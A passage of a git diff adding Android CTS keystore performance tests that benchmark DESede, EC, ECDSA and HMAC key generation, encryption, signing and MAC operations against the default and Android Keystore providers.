+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
+
+    @Test
+    public void testDESede_CBC_NoPadding() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        testDesCipher("DESede/CBC/NoPadding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testDESede_CBC_PKCS7Padding() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        testDesCipher("DESede/CBC/PKCS7Padding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testDESede_ECB_NoPadding() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        testDesCipher("DESede/ECB/NoPadding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testDESede_ECB_PKCS7Padding() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        testDesCipher("DESede/ECB/PKCS7Padding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    private void testDesCipher(String algorithm, int[] keySizes, int[] messageSizes)
+            throws Exception {
+        for (int keySize : keySizes) {
+            KeystoreKeyGenerator androidKeystoreDesGenerator =
+                    new AndroidKeystoreDesKeyGenerator(algorithm, keySize);
+            KeystoreKeyGenerator defaultKeystoreDesGenerator =
+                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                measure(
+                        new KeystoreDesEncryptMeasurable(
+                                androidKeystoreDesGenerator, keySize, messageSize),
+                        new KeystoreDesEncryptMeasurable(
+                                defaultKeystoreDesGenerator, keySize, messageSize),
+                        new KeystoreDesDecryptMeasurable(
+                                androidKeystoreDesGenerator, keySize, messageSize),
+                        new KeystoreDesDecryptMeasurable(
+                                defaultKeystoreDesGenerator, keySize, messageSize));
+            }
+        }
+    }
+
+    private class AndroidKeystoreDesKeyGenerator extends AndroidKeystoreKeyGenerator {
+        AndroidKeystoreDesKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_ENCRYPT
+                                                    | KeyProperties.PURPOSE_DECRYPT)
+                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
+                                    .setEncryptionPaddings(
+                                            TestUtils.getCipherEncryptionPadding(algorithm))
+                                    .setRandomizedEncryptionRequired(false)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+
+    private class KeystoreDesEncryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private SecretKey mKey;
+
+        KeystoreDesEncryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "encrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateSecretKey();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(getMessage());
+        }
+    }
+
+    private class KeystoreDesDecryptMeasurable extends KeystoreMeasurable {
+        private final Cipher mCipher;
+        private byte[] mEncryptedMessage;
+        private SecretKey mKey;
+        private AlgorithmParameters mParameters;
+
+        KeystoreDesDecryptMeasurable(
+                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
+            super(keyGenerator, "decrypt", keySize, messageSize);
+            mCipher = Cipher.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateSecretKey();
+            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
+            mEncryptedMessage = mCipher.doFinal(getMessage());
+            mParameters = mCipher.getParameters();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mCipher.init(Cipher.DECRYPT_MODE, mKey, mParameters);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mCipher.doFinal(mEncryptedMessage);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/DesKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/DesKeyGenPerformanceTest.java
new file mode 100644
index 0000000..cbb01e1
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/DesKeyGenPerformanceTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+public class DesKeyGenPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_DES_KEY_SIZES = {168};
+
+    @Test
+    public void testDesKeyGen() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        for (int keySize : SUPPORTED_DES_KEY_SIZES) {
+            measure(
+                    new KeystoreSecretKeyGenMeasurable(
+                            new DefaultKeystoreSecretKeyGenerator("DESede", keySize), keySize),
+                    new KeystoreSecretKeyGenMeasurable(
+                            new AndroidKeystoreDesKeyGenerator("DESede", keySize), keySize));
+        }
+    }
+
+    private class AndroidKeystoreDesKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreDesKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_ENCRYPT
+                                                    | KeyProperties.PURPOSE_DECRYPT)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/EcKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/EcKeyGenPerformanceTest.java
new file mode 100644
index 0000000..f4f891b
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/EcKeyGenPerformanceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.security.keystore.KeyProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.security.spec.ECGenParameterSpec;
+
+@RunWith(AndroidJUnit4.class)
+public class EcKeyGenPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_CURVES = {224, 256, 384, 521};
+
+    @Test
+    public void testEcKeyGen() throws Exception {
+        for (int curve : SUPPORTED_CURVES) {
+            measure(
+                    new KeystoreKeyPairGenMeasurable(
+                            new AndroidKeystoreEcKeyGenerator("EC", curve), curve),
+                    new KeystoreKeyPairGenMeasurable(
+                            new DefaultKeystoreEcKeyGenerator("EC", curve), curve));
+        }
+    }
+
+    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+
+    private class DefaultKeystoreEcKeyGenerator extends KeystoreKeyGenerator {
+
+        DefaultKeystoreEcKeyGenerator(String algorithm, int curve) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator().initialize(curve);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/EcdsaSignaturePerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/EcdsaSignaturePerformanceTest.java
new file mode 100644
index 0000000..f44ffee
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/EcdsaSignaturePerformanceTest.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+import java.security.KeyPair;
+import java.security.Signature;
+import java.security.spec.ECGenParameterSpec;
+
+public class EcdsaSignaturePerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_KEY_SIZES = {224, 256, 384, 521};
+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
+
+    @Test
+    public void testNONEwithECDSA() throws Exception {
+        testEcdsaSign("NONEwithECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA1withECDSA() throws Exception {
+        testEcdsaSign("SHA1withECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA224withECDSA() throws Exception {
+        testEcdsaSign("SHA224withECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA256withECDSA() throws Exception {
+        testEcdsaSign("SHA256withECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA384withECDSA() throws Exception {
+        testEcdsaSign("SHA384withECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testSHA512withECDSA() throws Exception {
+        testEcdsaSign("SHA512withECDSA", TEST_MESSAGE_SIZES);
+    }
+
+    private void testEcdsaSign(String algorithm, int[] messageSizes) throws Exception {
+        for (int keySize : SUPPORTED_KEY_SIZES) {
+            KeystoreKeyGenerator androidKeystoreEcGenerator =
+                    new AndroidKeystoreEcKeyGenerator(algorithm, keySize);
+            KeystoreKeyGenerator defaultKeystoreEcGenerator =
+                    new DefaultKeystoreEcKeyGenerator(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                measure(
+                        new KeystoreEcSignMeasurable(
+                                androidKeystoreEcGenerator, keySize, messageSize),
+                        new KeystoreEcVerifyMeasurable(
+                                androidKeystoreEcGenerator, keySize, messageSize),
+                        new KeystoreEcSignMeasurable(
+                                defaultKeystoreEcGenerator, keySize, messageSize),
+                        new KeystoreEcVerifyMeasurable(
+                                defaultKeystoreEcGenerator, keySize, messageSize));
+            }
+        }
+    }
+
+    private class DefaultKeystoreEcKeyGenerator extends KeystoreKeyGenerator {
+
+        DefaultKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator().initialize(keySize);
+        }
+    }
+
+    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator()
+                    .initialize(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
+                                    .build());
+        }
+    }
+
+    private class KeystoreEcSignMeasurable extends KeystoreMeasurable {
+        private final Signature mSignature;
+        private KeyPair mKey;
+
+        KeystoreEcSignMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
+                throws Exception {
+            super(keyGen, "sign", keySize, messageSize);
+            mSignature = Signature.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mSignature.initSign(mKey.getPrivate());
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mSignature.update(getMessage());
+            mSignature.sign();
+        }
+    }
+
+    private class KeystoreEcVerifyMeasurable extends KeystoreMeasurable {
+        private byte[] mMessageSignature;
+        private final Signature mSignature;
+        private KeyPair mKey;
+
+        KeystoreEcVerifyMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
+                throws Exception {
+            super(keyGen, "verify", keySize, messageSize);
+            mSignature = Signature.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateKeyPair();
+            mSignature.initSign(mKey.getPrivate());
+            mSignature.update(getMessage());
+            mMessageSignature = mSignature.sign();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mSignature.initVerify(mKey.getPublic());
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mSignature.update(getMessage());
+            mSignature.verify(mMessageSignature);
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/HmacKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/HmacKeyGenPerformanceTest.java
new file mode 100644
index 0000000..44f3d01
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/HmacKeyGenPerformanceTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.security.keystore.KeyProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class HmacKeyGenPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_KEY_SIZES = {64, 128, 256, 512};
+
+    @Test
+    public void testHmacKeyGen() throws Exception {
+        for (int keySize : SUPPORTED_KEY_SIZES) {
+            measure(
+                    new KeystoreSecretKeyGenMeasurable(
+                            new AndroidKeystoreHmacKeyGenerator("HmacSHA1", keySize), keySize),
+                    new KeystoreSecretKeyGenMeasurable(
+                            new DefaultKeystoreSecretKeyGenerator("HmacSHA1", keySize), keySize));
+        }
+    }
+
+    private class AndroidKeystoreHmacKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreHmacKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/HmacMacPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/performance/HmacMacPerformanceTest.java
new file mode 100644
index 0000000..76b4093
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/HmacMacPerformanceTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.security.keystore.KeyProperties;
+
+import org.junit.Test;
+
+import javax.crypto.Mac;
+import javax.crypto.SecretKey;
+
+public class HmacMacPerformanceTest extends PerformanceTestBase {
+
+    final int[] SUPPORTED_KEY_SIZES = {64, 128, 256, 512};
+    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
+
+    @Test
+    public void testHmacSHA1() throws Exception {
+        testHmac("HmacSHA1", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testHmacSHA224() throws Exception {
+        testHmac("HmacSHA224", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testHmacSHA256() throws Exception {
+        testHmac("HmacSHA256", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testHmacSHA384() throws Exception {
+        testHmac("HmacSHA384", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    @Test
+    public void testHmacSHA512() throws Exception {
+        testHmac("HmacSHA512", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
+    }
+
+    private void testHmac(String algorithm, int[] keySizes, int[] messageSizes) throws Exception {
+        for (int keySize : keySizes) {
+            KeystoreKeyGenerator androidKeystoreHmacKeyGenerator =
+                    new AndroidKeystoreHmacKeyGenerator(algorithm, keySize);
+            KeystoreKeyGenerator defaultKeystoreHmacGenerator =
+                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
+            for (int messageSize : messageSizes) {
+                measure(
+                        new KeystoreHmacMacMeasurable(
+                                androidKeystoreHmacKeyGenerator, keySize, messageSize),
+                        new KeystoreHmacMacMeasurable(
+                                defaultKeystoreHmacGenerator, keySize, messageSize));
+            }
+        }
+    }
+
+    private class AndroidKeystoreHmacKeyGenerator extends AndroidKeystoreKeyGenerator {
+
+        AndroidKeystoreHmacKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator()
+                    .init(
+                            getKeyGenParameterSpecBuilder(
+                                            KeyProperties.PURPOSE_SIGN
+                                                    | KeyProperties.PURPOSE_VERIFY)
+                                    .setKeySize(keySize)
+                                    .build());
+        }
+    }
+
+    private class KeystoreHmacMacMeasurable extends KeystoreMeasurable {
+        private final Mac mMac;
+        private SecretKey mKey;
+
+        public KeystoreHmacMacMeasurable(
+                KeystoreKeyGenerator generator, int keySize, int messageSize) throws Exception {
+            super(generator, "sign", keySize, messageSize);
+            mMac = Mac.getInstance(getAlgorithm());
+        }
+
+        @Override
+        public void initialSetUp() throws Exception {
+            mKey = generateSecretKey();
+        }
+
+        @Override
+        public void setUp() throws Exception {
+            mMac.init(mKey);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            mMac.update(getMessage());
+            mMac.doFinal();
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestBase.java b/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestBase.java
new file mode 100644
index 0000000..26eb0b7
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/performance/PerformanceTestBase.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.keystore.cts.performance;
+
+import android.keystore.cts.util.TestUtils;
+import android.os.Build;
+import android.os.SystemClock;
+import android.security.keystore.KeyGenParameterSpec;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.cert.Certificate;
+import java.util.ArrayList;
+
+import javax.crypto.KeyGenerator;
+import javax.crypto.SecretKey;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+public class PerformanceTestBase {
+
+    public static final long MS_PER_NS = 1000000L;
+    protected static final String TAG = "KeystorePerformanceTest";
+    private static final String REPORT_LOG_NAME = "CtsKeystorePerformanceTests";
+    /**
+     * Number of milliseconds to spend repeating a single test.
+     *
+     * <p>For each algorithm we run the test repeatedly up to a maximum of this time limit (or up to
+     * {@link #TEST_ITERATION_LIMIT} whichever is reached first), then report back the number of
+     * repetitions. We don't abort a test at the time limit but let it run to completion, so we're
+     * guaranteed to always get at least one repetition, even if it takes longer than the limit.
+     */
+    private static int TEST_TIME_LIMIT = 20000;
+
+    /** Maximum number of iterations to run a single test. */
+    static int TEST_ITERATION_LIMIT = 20;
+
+    protected void measure(Measurable... measurables) throws Exception {
+        ArrayList<PerformanceTestResult> results = new ArrayList<>();
+        results.ensureCapacity(measurables.length);
+        for (Measurable measurable : measurables) {
+            DeviceReportLog reportLog = new DeviceReportLog(REPORT_LOG_NAME, "performance_test");
+            PerformanceTestResult result = measure(measurable);
+
+            reportLog.addValue(
+                    "test_environment",
+                    measurable.getEnvironment(),
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+            reportLog.addValue(
+                    "test_name", measurable.getName(), ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.addValue(
+                    "sample_count", result.getSampleCount(), ResultType.NEUTRAL, ResultUnit.COUNT);
+            reportLog.addValue(
+                    "setup_time", result.getSetupTime(), ResultType.LOWER_BETTER, ResultUnit.MS);
+            reportLog.addValue(
+                    "mean_time", result.getMean(), ResultType.LOWER_BETTER, ResultUnit.MS);
+            reportLog.addValue(
+                    "sample_std_dev",
+                    result.getSampleStdDev(),
+                    ResultType.LOWER_BETTER,
+                    ResultUnit.MS);
+            reportLog.addValue(
+                    "median_time", result.getMedian(), ResultType.LOWER_BETTER, ResultUnit.MS);
+            reportLog.addValue(
+                    "percentile_90_time",
+                    result.getPercentile(0.9),
+                    ResultType.LOWER_BETTER,
+                    ResultUnit.MS);
+            reportLog.addValue(
+                    "teardown_time",
+                    result.getTearDownTime(),
+                    ResultType.LOWER_BETTER,
+                    ResultUnit.MS);
+            reportLog.addValue(
+                    "teardown_time",
+                    result.getTearDownTime(),
+                    ResultType.LOWER_BETTER,
+                    ResultUnit.MS);
+            reportLog.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+
+    private PerformanceTestResult measure(Measurable measurable) throws Exception {
+        // One un-measured time through everything, to warm caches, etc.
+
+        PerformanceTestResult result = new PerformanceTestResult();
+
+        measurable.initialSetUp();
+        measurable.setUp();
+        measurable.measure();
+        measurable.tearDown();
+
+        long runLimit = now() + TEST_TIME_LIMIT * MS_PER_NS;
+        while (now() < runLimit && result.getSampleCount() < TEST_ITERATION_LIMIT) {
+            long setupBegin = now();
+            measurable.setUp();
+            result.addSetupTime(now() - setupBegin);
+
+            long runBegin = now();
+            measurable.measure();
+            result.addMeasurement(now() - runBegin);
+
+            long tearDownBegin = now();
+            measurable.tearDown();
+            result.addTeardownTime(now() - tearDownBegin);
+        }
+        measurable.finalTearDown();
+
+        return result;
+    }
+
+    protected long now() {
+        return SystemClock.elapsedRealtimeNanos();
+    }
+
+    public abstract class Measurable {
+
+        private Measurable() {}
+        ;
+
+        public abstract String getEnvironment();
+
+        public abstract String getName();
+
+        public void initialSetUp() throws Exception {}
+
+        public void setUp() throws Exception {}
+
+        public abstract void measure() throws Exception;
+
+        public void tearDown() throws Exception {}
+
+        public void finalTearDown() throws Exception {}
+    }
+
+    /** Base class for measuring Keystore operations. */
+    abstract class KeystoreMeasurable extends Measurable {
+        private final String mName;
+        private final byte[] mMessage;
+        private final KeystoreKeyGenerator mGenerator;
+
+        KeystoreMeasurable(
+                KeystoreKeyGenerator generator, String operation, int keySize, int messageSize)
+                throws Exception {
+            super();
+            mGenerator = generator;
+            if (messageSize < 0) {
+                mName = (operation
+                                + "/" + getAlgorithm()
+                                + "/" + keySize);
+                mMessage = null;
+            } else {
+                mName = (operation
+                                + "/" + getAlgorithm()
+                                + "/" + keySize
+                                + "/" + messageSize);
+                mMessage = TestUtils.generateRandomMessage(messageSize);
+            }
+        }
+
+        KeystoreMeasurable(KeystoreKeyGenerator generator, String operation, int keySize)
+                throws Exception {
+            this(generator, operation, keySize, -1);
+        }
+
+        @Override
+        public String getEnvironment() {
+            return mGenerator.getProvider() + "/" + Build.CPU_ABI;
+        }
+
+        @Override
+        public String getName() {
+            return mName;
+        }
+
+        byte[] getMessage() {
+            return mMessage;
+        }
+
+        String getAlgorithm() {
+            return mGenerator.getAlgorithm();
+        }
+
+        @Override
+        public void finalTearDown() throws Exception {
+            deleteKey();
+        }
+
+        public void deleteKey() throws Exception {
+            mGenerator.deleteKey();
+        }
+
+        SecretKey generateSecretKey() throws Exception {
+            return mGenerator.getSecretKeyGenerator().generateKey();
+        }
+
+        KeyPair generateKeyPair() throws Exception {
+            return mGenerator.getKeyPairGenerator().generateKeyPair();
+        }
+    }
+
+    /**
+     * Measurable for generating key pairs.
+     *
+     * <p>This class is ignostic to the Keystore provider or key algorithm.
+     */
+    class KeystoreKeyPairGenMeasurable extends KeystoreMeasurable {
+
+        KeystoreKeyPairGenMeasurable(KeystoreKeyGenerator keyGenerator, int keySize)
+                throws Exception {
+            super(keyGenerator, "keygen", keySize);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            generateKeyPair();
+        }
+
+        @Override
+        public void tearDown() throws Exception {
+            deleteKey();
+        }
+    }
+
+    /**
+     * Measurable for generating a secret key.
+     *
+     * <p>This class is ignostic to the Keystore provider or key algorithm.
+     */
+    class KeystoreSecretKeyGenMeasurable extends KeystoreMeasurable {
+
+        KeystoreSecretKeyGenMeasurable(KeystoreKeyGenerator keyGenerator, int keySize)
+                throws Exception {
+            super(keyGenerator, "keygen", keySize);
+        }
+
+        @Override
+        public void measure() throws Exception {
+            generateSecretKey();
+        }
+
+        @Override
+        public void tearDown() throws Exception {
+            deleteKey();
+        }
+    }
+
+    /**
+     * Wrapper for generating Keystore keys.
+     *
+     * <p>Abstracts the provider and initilization of the generator.
+     */
+    abstract class KeystoreKeyGenerator {
+        private final String mAlgorithm;
+        private final String mProvider;
+        private KeyGenerator mSecretKeyGenerator = null;
+        private KeyPairGenerator mKeyPairGenerator = null;
+
+        KeystoreKeyGenerator(String algorithm, String provider) throws Exception {
+            mAlgorithm = algorithm;
+            mProvider = provider;
+        }
+
+        KeystoreKeyGenerator(String algorithm) throws Exception {
+            // This is a hack to get the default provider.
+            this(algorithm, KeyGenerator.getInstance("AES").getProvider().getName());
+        }
+
+        String getAlgorithm() {
+            return mAlgorithm;
+        }
+
+        String getProvider() {
+            return mProvider;
+        }
+
+        /** By default, deleteKey is a nop */
+        void deleteKey() throws Exception {}
+
+        KeyGenerator getSecretKeyGenerator() throws Exception {
+            if (mSecretKeyGenerator == null) {
+                mSecretKeyGenerator =
+                        KeyGenerator.getInstance(TestUtils.getKeyAlgorithm(mAlgorithm), mProvider);
+            }
+            return mSecretKeyGenerator;
+        }
+
+        KeyPairGenerator getKeyPairGenerator() throws Exception {
+            if (mKeyPairGenerator == null) {
+                mKeyPairGenerator =
+                        KeyPairGenerator.getInstance(
+                                TestUtils.getKeyAlgorithm(mAlgorithm), mProvider);
+            }
+            return mKeyPairGenerator;
+        }
+    }
+
+    /**
+     * Wrapper for generating Android Keystore keys.
+     *
+     * <p>Provides Android Keystore specific functionality, like deleting the key.
+     */
+    abstract class AndroidKeystoreKeyGenerator extends KeystoreKeyGenerator {
+        private final KeyStore mKeyStore;
+        private final String KEY_ALIAS = "perf_key";
+
+        AndroidKeystoreKeyGenerator(String algorithm) throws Exception {
+            super(algorithm, TestUtils.EXPECTED_PROVIDER_NAME);
+            mKeyStore = KeyStore.getInstance(getProvider());
+            mKeyStore.load(null);
+        }
+
+        @Override
+        void deleteKey() throws Exception {
+            mKeyStore.deleteEntry(KEY_ALIAS);
+        }
+
+        KeyGenParameterSpec.Builder getKeyGenParameterSpecBuilder(int purpose) {
+            return new KeyGenParameterSpec.Builder(KEY_ALIAS, purpose);
+        }
+
+        Certificate[] getCertificateChain() throws Exception {
+            return mKeyStore.getCertificateChain(KEY_ALIAS);
+        }
+    }
+
+    /** Basic generator for KeyPairs that uses the default provider. */
+    class DefaultKeystoreKeyPairGenerator extends KeystoreKeyGenerator {
+        DefaultKeystoreKeyPairGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getKeyPairGenerator().initialize(keySize);
+        }
+    }
+
+    /** Basic generator for SecretKeys that uses the default provider. */
+    class DefaultKeystoreSecretKeyGenerator extends KeystoreKeyGenerator {
+        DefaultKeystoreSecretKeyGenerator(String algorithm, int keySize) throws Exception {
+            super(algorithm);
+            getSecretKeyGenerator().init(keySize);
+        }
+    }
+}
